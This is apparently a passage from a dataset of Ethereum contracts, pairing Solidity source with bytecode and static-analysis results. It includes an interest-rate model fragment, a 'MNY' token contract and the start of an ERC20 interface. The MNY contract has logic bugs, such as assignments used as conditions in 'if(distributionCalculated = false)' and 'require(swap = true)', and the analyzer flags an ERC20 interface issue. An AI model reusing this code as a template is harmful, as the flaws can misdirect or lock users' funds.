return 0;
}
return borrows.mul(1e18).div(cash.add(borrows).sub(reserves));
}
/**
* @notice Calculates the current borrow rate per block, with the error code expected by the market
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @return The borrow rate percentage per block as a mantissa (scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) {
uint util = utilizationRate(cash, borrows, reserves);
if (util <= kink) {
return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
} else {
uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
uint excessUtil = util.sub(kink);
return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate);
}
}
/**
* @notice Calculates the current supply rate per block
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @param reserveFactorMantissa The current reserve factor for the market
* @return The supply rate percentage per block as a mantissa (scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) {
uint borrowRate = getBorrowRate(cash, borrows, 0);
uint rateToPool = borrowRate;
return utilizationRate(cash, borrows, 0).mul(rateToPool).div(1e18);
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063a385fb9611610066578063a385fb9614610120578063b816881614610128578063b9f9850a14610157578063f14039de1461015f578063fd2da3391461016757610093565b806315f24053146100985780632191f92a146100d35780636e71e2d8146100ef5780638726bb8914610118575b600080fd5b6100c1600480360360608110156100ae57600080fd5b508035906020810135906040013561016f565b60408051918252519081900360200190f35b6100db610247565b604080519115158252519081900360200190f35b6100c16004803603606081101561010557600080fd5b508035906020810135906040013561024c565b6100c161029e565b6100c16102a4565b6100c16004803603608081101561013e57600080fd5b50803590602081013590604081013590606001356102ab565b6100c16102f0565b6100c16102f6565b6100c16102fc565b60008061017d85858561024c565b905060035481116101cf576101c76001546101bb670de0b6b3a76400006101af6000548661030290919063ffffffff16565b9063ffffffff61036416565b9063ffffffff6103a616565b915050610240565b60006101fa6001546101bb670de0b6b3a76400006101af60005460035461030290919063ffffffff16565b905060006102136003548461040090919063ffffffff16565b905061023a826101bb670de0b6b3a76400006101af6002548661030290919063ffffffff16565b93505050505b9392505050565b600181565b60008261025b57506000610240565b61029661027e83610272878763ffffffff6103a616565b9063ffffffff61040016565b6101af85670de0b6b3a764000063ffffffff61030216565b949350505050565b60005481565b6220148081565b6000806102ba8686600061016f565b9050806102e5670de0b6b3a76400006101af836102d98b8b600061024c565b9063ffffffff61030216565b979650505050505050565b60025481565b60015481565b60035481565b6000826103115750600061035e565b8282028284828161031e57fe5b041461035b5760405162461bcd60e51b815260040180806020018281038252602181526020018061053f6021913960400191505060405180910390fd5b90505b92915050565b600061035b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610442565b60008282018381101561035b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061035b83836040518060400160405280601f81526020017f536166654d6174683a207375627472616374696f6e20756e646572666c6f77008152506104e4565b600081836104ce5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561049357818101518382015260200161047b565b50505050905090810190601f1680156104c05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816104da57fe5b0495945050505050565b600081848411156105365760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561049357818101518382015260200161047b565b50505090039056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a723158201c0e68b6523a3e80e9b50fab5afaa10e28b2af6b413f6368c26700c88f5e0cd064736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 4,094 |
0xd951d22dd38c4a70c447e51357e366d8c0e35a02
|
pragma solidity ^0.4.21;
contract Partner {
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _RequestedTokens);
}
contract Target {
function transfer(address _to, uint _value);
}
contract MNY {
string public name = "MNY by Monkey Capital";
uint8 public decimals = 18;
string public symbol = "MNY";
address public owner;
address public exchangeAdmin;
uint256[] tierTokens = [
5.33696E18,
7.69493333E18,
4.75684324E18,
6.30846753E18,
6.21620513E18,
5.63157219E18,
5.80023669E18,
5.04458667E18,
4.58042767E18,
5E18
];
uint256[] costPerToken = [
9E16,
9E16,
8E16,
7E16,
8E16,
5E16,
6E16,
5E16,
5E16,
6E16
];
// used to store list of contracts MNY holds tokens in
address[] contracts = [0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0];
uint tierLevel = 0;
uint maxTier = 9;
uint256 totalSupply = 21000000000000000000000000;
uint256 circulatingSupply = 0;
uint contractCount = 1;
// flags
bool public receiveEth = true;
bool swap = false;
bool allSwapped = false;
bool distributionCalculated = false;
// Storage
mapping (address => uint256) public balances;
mapping (address => uint256) public tokenBalances;
mapping (address => uint256) public tokenShare;
mapping (address => uint256) public exchangeRates; // balance and rate in cents (where $1 = 1*10^18)
// events
event Transfer(address indexed _from, address indexed _to, uint _value);
function MNY() {
owner = msg.sender;
}
function transfer(address _to, uint _value, bytes _data) public {
// sender must have enough tokens to transfer
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
if(swap == false) {
// WARNING: if you transfer tokens back to the contract outside of the swap you will lose them
// use the exchange function to exchange for tokens with approved partner contracts
totalSupply = add(totalSupply, _value);
circulatingSupply = sub(circulatingSupply, _value);
if(circulatingSupply == 0) allSwapped = true;
tierTokens[maxTier] = add(tierTokens[maxTier], _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
require(div(_value, 1 ether) > 0); // whole tokens only in for swap
if(distributionCalculated = false) {
calculateHeldTokenDistribution();
}
balances[msg.sender] = sub(balances[msg.sender], _value);
shareStoredTokens(msg.sender, div(_value, 1 ether));
}
}
else {
// WARNING: if you transfer tokens to a contract address they will be lost unless the contract
// has been designed to handle incoming/holding tokens in other contracts
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
function transfer(address _to, uint _value) public {
// sender must have enough tokens to transfer
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
if(swap == false) {
// WARNING: if you transfer tokens back to the contract outside of the swap you will lose them
// use the exchange function to exchange for tokens with approved partner contracts
totalSupply = add(totalSupply, _value);
circulatingSupply = sub(circulatingSupply, _value);
if(circulatingSupply == 0) allSwapped = true;
tierTokens[maxTier] = add(tierTokens[maxTier], _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
if(distributionCalculated = false) {
calculateHeldTokenDistribution();
}
balances[msg.sender] = sub(balances[msg.sender], _value);
shareStoredTokens(msg.sender, div(_value, 1 ether));
}
}
else {
// WARNING: if you transfer tokens to a contract address they will be lost unless the contract
// has been designed to handle incoming/holding tokens in other contracts
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
function allocateTokens(uint256 _submitted, address _recipient) internal {
uint256 _availableInTier = mul(tierTokens[tierLevel], costPerToken[tierLevel]);
uint256 _allocation = 0;
if(_submitted >= _availableInTier) {
_allocation = tierTokens[tierLevel];
tierTokens[tierLevel] = 0;
tierLevel++;
if(tierLevel > maxTier) {
swap = true;
}
_submitted = sub(_submitted, _availableInTier);
}
else {
uint256 stepOne = mul(_submitted, 1 ether);
uint256 stepTwo = div(stepOne, costPerToken[tierLevel]);
uint256 _tokens = stepTwo;
_allocation = add(_allocation, _tokens);
tierTokens[tierLevel] = sub(tierTokens[tierLevel], _tokens);
_submitted = sub(_submitted, _availableInTier);
}
// transfer tokens allocated so far to wallet address from contract
balances[_recipient] = add(balances[_recipient],_allocation);
circulatingSupply = add(circulatingSupply, _allocation);
totalSupply = sub(totalSupply, _allocation);
if((_submitted != 0) && (tierLevel <= maxTier)) {
allocateTokens(_submitted, _recipient);
}
else {
// emit transfer event
Transfer(this, _recipient, balances[_recipient]);
}
}
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _sentTokens) public {
require(exchangeRates[msg.sender] > 0);
uint256 _exchanged = mul(_sentTokens, exchangeRates[_source]);
require(_exchanged <= mul(totalSupply, 1 ether));
allocateTokens(_exchanged, _recipient);
}
function addExchangePartnerAddressAndRate(address _partner, uint256 _rate) {
require(msg.sender == owner);
// check that _partner is a contract address
uint codeLength;
assembly {
codeLength := extcodesize(_partner)
}
require(codeLength > 0);
exchangeRates[_partner] = _rate;
bool isContract = existingContract(_partner);
if(isContract == false) {
contractCount++;
contracts[contractCount] = _partner;
}
}
// public data retrieval funcs
function getTotalSupply() public constant returns (uint256) {
return totalSupply;
}
function getCirculatingSupply() public constant returns (uint256) {
return circulatingSupply;
}
function balanceOf(address _receiver) public constant returns (uint256) {
return balances[_receiver];
}
function balanceInTier() public constant returns (uint256) {
return tierTokens[tierLevel];
}
function balanceInSpecificTier(uint tier) public constant returns (uint256) {
return tierTokens[tier];
}
function currentTier() public constant returns (uint256) {
return tierLevel;
}
// admin functions
function convertTransferredTokensToMny(uint256 _value, address _recipient, address _source, uint256 _originalAmount) public {
// allows tokens transferred in for exchange to be converted to MNY and distributed
// COE is able to interact directly with contract - other exchange partners cannot
require((msg.sender == owner) || (msg.sender == exchangeAdmin));
require(exchangeRates[_source] > 0);
maintainExternalContractTokenBalance(_source, _originalAmount);
allocateTokens(_value, _recipient);
}
function changeOwner(address _newOwner) public {
require(msg.sender == owner);
owner = _newOwner;
}
function changeExchangeAdmin(address _newAdmin) public {
require(msg.sender == owner);
exchangeAdmin = _newAdmin;
}
function maintainExternalContractTokenBalance(address _contract, uint256 _tokens) internal {
tokenBalances[_contract] = add(tokenBalances[_contract], _tokens);
}
function getTokenBalance(address _contract) public constant returns (uint256) {
return tokenBalances[_contract];
}
function calculateHeldTokenDistribution() public {
require(swap = true);
for(uint i=0; i<contractCount; i++) {
// tokenShare[contracts[i]] = div(tokenBalances[contracts[i]], div(add(totalSupply, circulatingSupply), 1 ether));
tokenShare[contracts[i]] = div(tokenBalances[contracts[i]], circulatingSupply);
}
distributionCalculated = true;
}
function tokenShare(address _contract) public constant returns (uint256) {
return tokenShare[_contract];
}
function shareStoredTokens(address _recipient, uint256 mny) internal {
Target t;
uint256 share = 0;
for(uint i=0; i<contractCount; i++) {
share = mul(mny, tokenShare[contracts[i]]);
t = Target(contracts[i]);
t.transfer(_recipient, share);
}
}
function distributeMnyAfterSwap(address _recipient, uint256 _tokens) public {
require(msg.sender == owner);
require(totalSupply <= _tokens);
balances[_recipient] = add(balances[_recipient], _tokens);
Transfer(this, _recipient, _tokens);
totalSupply = sub(totalSupply, _tokens);
circulatingSupply = add(circulatingSupply, _tokens);
}
function existingContract(address _contract) internal returns (bool) {
for(uint i=0; i<contractCount; i++) {
if(contracts[i] == _contract) return true;
}
return false;
}
function contractExchangeRate(address _contract) public constant returns (uint256) {
return exchangeRates[_contract];
}
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630545f8ba1461016457806306fdde03146101a757806310970fbb1461023757806327e235e3146102ae5780632aeacd4a146103055780632b112e4914610372578063313ce5671461039d5780633aecd0e3146103ce5780634185f8eb1461042557806342efdebf146104545780634e2133ba146104ab578063523fba7f146104f857806370a082311461054f57806385c15d9a146105a65780638da5cb5b146105fd578063913d23e21461065457806395d89b41146106a1578063a6f9dae114610731578063a9059cbb14610774578063ad150aec146107c1578063b001134a146107d8578063be45fd6214610803578063c1d6036b14610896578063c4e41b22146108ed578063cd80da8214610918578063cfa5cfd31461096f578063d679677a146109b0575b600080fd5b34801561017057600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109db565b005b3480156101b357600080fd5b506101bc610a7b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fc5780820151818401526020810190506101e1565b50505050905090810190601f1680156102295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024357600080fd5b506102ac60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b19565b005b3480156102ba57600080fd5b506102ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c35565b6040518082815260200191505060405180910390f35b34801561031157600080fd5b50610370600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c4d565b005b34801561037e57600080fd5b50610387610d19565b6040518082815260200191505060405180910390f35b3480156103a957600080fd5b506103b2610d23565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103da57600080fd5b5061040f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d36565b6040518082815260200191505060405180910390f35b34801561043157600080fd5b5061043a610d7f565b604051808215151515815260200191505060405180910390f35b34801561046057600080fd5b50610469610d92565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b757600080fd5b506104f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db8565b005b34801561050457600080fd5b50610539600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ef9565b6040518082815260200191505060405180910390f35b34801561055b57600080fd5b50610590600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f11565b6040518082815260200191505060405180910390f35b3480156105b257600080fd5b506105e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5a565b6040518082815260200191505060405180910390f35b34801561060957600080fd5b50610612610f72565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561066057600080fd5b5061069f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f98565b005b3480156106ad57600080fd5b506106b661111e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106f65780820151818401526020810190506106db565b50505050905090810190601f1680156107235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561073d57600080fd5b50610772600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111bc565b005b34801561078057600080fd5b506107bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061125c565b005b3480156107cd57600080fd5b506107d6611668565b005b3480156107e457600080fd5b506107ed6117c9565b6040518082815260200191505060405180910390f35b34801561080f57600080fd5b50610894600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506117ec565b005b3480156108a257600080fd5b506108d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c19565b6040518082815260200191505060405180910390f35b3480156108f957600080fd5b50610902611c62565b6040518082815260200191505060405180910390f35b34801561092457600080fd5b50610959600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c6c565b6040518082815260200191505060405180910390f35b34801561097b57600080fd5b5061099a60048036038101908080359060200190929190505050611cb5565b6040518082815260200191505060405180910390f35b3480156109bc57600080fd5b506109c5611cd8565b6040518082815260200191505060405180910390f35b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a3757600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b115780601f10610ae657610100808354040283529160200191610b11565b820191906000526020600020905b815481529060010190602001808311610af457829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610bc25750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610bcd57600080fd5b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610c1b57600080fd5b610c258282611ce2565b610c2f8484611d72565b50505050565b600e6020528060005260406000206000915090505481565b600080601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610c9c57600080fd5b610ce582601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612075565b9050610cfb600a54670de0b6b3a7640000612075565b8111151515610d0957600080fd5b610d138184611d72565b50505050565b6000600b54905090565b600160009054906101000a900460ff1681565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d60009054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1757600080fd5b833b9150600082111515610e2a57600080fd5b82601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e77846120ab565b9050600015158115151415610ef357600c60008154809291906001019190505550836007600c54815481101515610eaa57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50505050565b600f6020528060005260406000206000915090505481565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60116020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ff457600080fd5b80600a541115151561100557600080fd5b61104e600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261214b565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611102600a548261216c565b600a81905550611114600b548261214b565b600b819055505050565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111b45780601f10611189576101008083540402835291602001916111b4565b820191906000526020600020905b81548152906001019060200180831161119757829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121857600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156112aa57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561151d5760001515600d60019054906101000a900460ff161515141561144857611306600a548261214b565b600a81905550611318600b548261216c565b600b819055506000600b541415611345576001600d60026101000a81548160ff0219169083151502179055505b61136a600560095481548110151561135957fe5b90600052602060002001548261214b565b600560095481548110151561137b57fe5b906000526020600020018190555061139b61139533610f11565b8261216c565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611518565b6000600d60036101000a81548160ff0219169083151502179055156114705761146f611668565b5b6114b9600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261216c565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115173361151283670de0b6b3a7640000612188565b6121a3565b5b611664565b61152f61152933610f11565b8261216c565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115bb600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261214b565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5050565b60006001600d60016101000a81548160ff0219169083151502179055151561168f57600080fd5b600090505b600c548110156117ab57611722600f60006007848154811015156116b457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600b54612188565b6010600060078481548110151561173557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080600101915050611694565b6001600d60036101000a81548160ff02191690831515021790555050565b600060056008548154811015156117dc57fe5b9060005260206000200154905090565b81600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561183a57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611acd5760001515600d60019054906101000a900460ff16151514156119d857611896600a548361214b565b600a819055506118a8600b548361216c565b600b819055506000600b5414156118d5576001600d60026101000a81548160ff0219169083151502179055505b6118fa60056009548154811015156118e957fe5b90600052602060002001548361214b565b600560095481548110151561190b57fe5b906000526020600020018190555061192b61192533610f11565b8361216c565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3611ac8565b60006119ec83670de0b6b3a7640000612188565b1115156119f857600080fd5b6000600d60036101000a81548160ff021916908315150217905515611a2057611a1f611668565b5b611a69600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361216c565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac733611ac284670de0b6b3a7640000612188565b6121a3565b5b611c14565b611adf611ad933610f11565b8361216c565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b6b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361214b565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b505050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600a54905090565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600582815481101515611cc657fe5b90600052602060002001549050919050565b6000600854905090565b611d2b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261214b565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000806000806000611dba6005600854815481101515611d8e57fe5b90600052602060002001546006600854815481101515611daa57fe5b9060005260206000200154612075565b9450600093508487101515611e53576005600854815481101515611dda57fe5b9060005260206000200154935060006005600854815481101515611dfa57fe5b90600052602060002001819055506008600081548092919060010191905055506009546008541115611e42576001600d60016101000a81548160ff0219169083151502179055505b611e4c878661216c565b9650611eee565b611e6587670de0b6b3a7640000612075565b9250611e8c836006600854815481101515611e7c57fe5b9060005260206000200154612188565b9150819050611e9b848261214b565b9350611ec26005600854815481101515611eb157fe5b90600052602060002001548261216c565b6005600854815481101515611ed357fe5b9060005260206000200181905550611eeb878661216c565b96505b611f37600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561214b565b600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f86600b548561214b565b600b81905550611f98600a548561216c565b600a8190555060008714158015611fb3575060095460085411155b15611fc757611fc28787611d72565b61206c565b8573ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a35b50505050505050565b60008082840290506000841480612096575082848281151561209357fe5b04145b15156120a157600080fd5b8091505092915050565b600080600090505b600c54811015612140578273ffffffffffffffffffffffffffffffffffffffff166007828154811015156120e357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156121335760019150612145565b80806001019150506120b3565b600091505b50919050565b600080828401905083811015151561216257600080fd5b8091505092915050565b600082821115151561217d57600080fd5b818303905092915050565b600080828481151561219657fe5b0490508091505092915050565b6000806000809150600090505b600c548110156123425761223c84601060006007858154811015156121d157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612075565b915060078181548110151561224d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561231d57600080fd5b505af1158015612331573d6000803e3d6000fd5b5050505080806001019150506121b0565b50505050505600a165627a7a723058208cd2dce071df38f840e8dd2de10e25d84c2437580105e0e365575b1d82a61cb30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 4,095 |
0x8657b3c2894d989c4c433e0bd26ed54b739a74e0
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
